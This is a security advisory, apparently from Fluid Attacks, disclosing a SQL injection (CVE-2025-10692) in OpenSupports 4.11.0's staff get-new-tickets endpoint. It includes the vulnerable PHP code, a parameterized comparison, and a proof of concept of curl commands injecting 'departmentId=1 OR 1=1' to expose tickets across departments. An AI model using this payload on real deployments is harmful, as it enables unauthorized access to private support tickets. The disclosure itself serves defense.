OpenSupports 4.11.0 — SQL Injection

7,1

High

7,1

High

Discovered by

Cristian Vargas

Offensive Team, Fluid Attacks

Summary

Full name

OpenSupports 4.11.0 — SQL Injection in staff “get-new-tickets” endpoint

Code name

State

Public

Release date

3 oct 2025

Affected product

OpenSupports

Vendor

OpenSupports

Affected version(s)

4.11.0

Vulnerability name

SQL Injection

Vulnerability type

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

7.1

Exploit available

Yes

Description

The endpoint POST /api/staff/get-new-tickets concatenates the user-controlled parameter departmentId directly into the SQL WHERE clause without parameter binding. As a result, an authenticated staff user (level ≥ 1) can inject SQL to alter the filter logic (e.g., tautologies or time-based primitives), effectively bypassing department scoping and disclosing tickets beyond their intended access.

Vulnerability

Relevant backend fragments:

  • Vulnerable concatenation (server/controllers/staff/get-new-tickets.php):

$departmentId = Controller::request('departmentId');
...
if($departmentId) {
    $query .= ' AND department_id=' . $departmentId; // <-- injection
}
$countTotal = Ticket::count($query);
$query .= ' ORDER BY unread_staff DESC';
$query .= ' LIMIT ' . $pageSize . ' OFFSET ' . ($page-1)*10;
$ticketList = Ticket::find($query);
  • Secure pattern for comparison (server/controllers/staff/get-tickets.php):

$condition = 'TRUE';
$bindings = [];
if($departmentId) { $condition .= ' AND department_id = ?'; $bindings[] = $departmentId; }
$countTotal = $user->withCondition($condition, $bindings)->countShared('ticket');
...
  • Confidentiality breach: a low-privileged staff user can list “new tickets” across all departments by injecting into the department filter, gaining visibility into titles, content excerpts, and metadata.

  • Scope escalation: bypass of authorization-by-filter (department-based access control) in the “new tickets” view.

PoC

  • Log in as a staff user (level 1) and extract CSRF:

curl -c s.cookies -sS -X POST 'http://localhost:5543/api/user/login' \
  -d 'staff=1' -d 'email=staff2@yopmail.com' -d 'password=Test1234@' | tee s_login.json
export U_ID=$(jq -r '.data.userId' s_login.json)
export TOK=$(jq -r '.data.token' s_login.json)
  • Baseline request (no injection):

curl -b s.cookies -sS -X POST 'http://localhost:5543/api/staff/get-new-tickets' \
  -d "csrf_userid=$U_ID" -d "csrf_token=$TOK" -d 'page=1' -d 'pageSize=10' | jq '.'
  • Tautology injection — expand scope to all departments:

curl -b s.cookies -sS -X POST 'http://localhost:5543/api/staff/get-new-tickets' \
  -d "csrf_userid=$U_ID" -d "csrf_token=$TOK" -d 'page=1' -d 'pageSize=10' \
  -d 'departmentId=1 OR 1=1' | jq '.'

Evidence of Exploitation

Our security policy

We have reserved the ID CVE-2025-10692 to refer to this issue from now on.

Disclosure policy

System Information

  • OpenSupports

  • Version 4.11.0

  • Operating System: Any

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.

Timeline

8 sept 2025

Vulnerability discovered

18 sept 2025

Vendor contacted

3 oct 2025

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.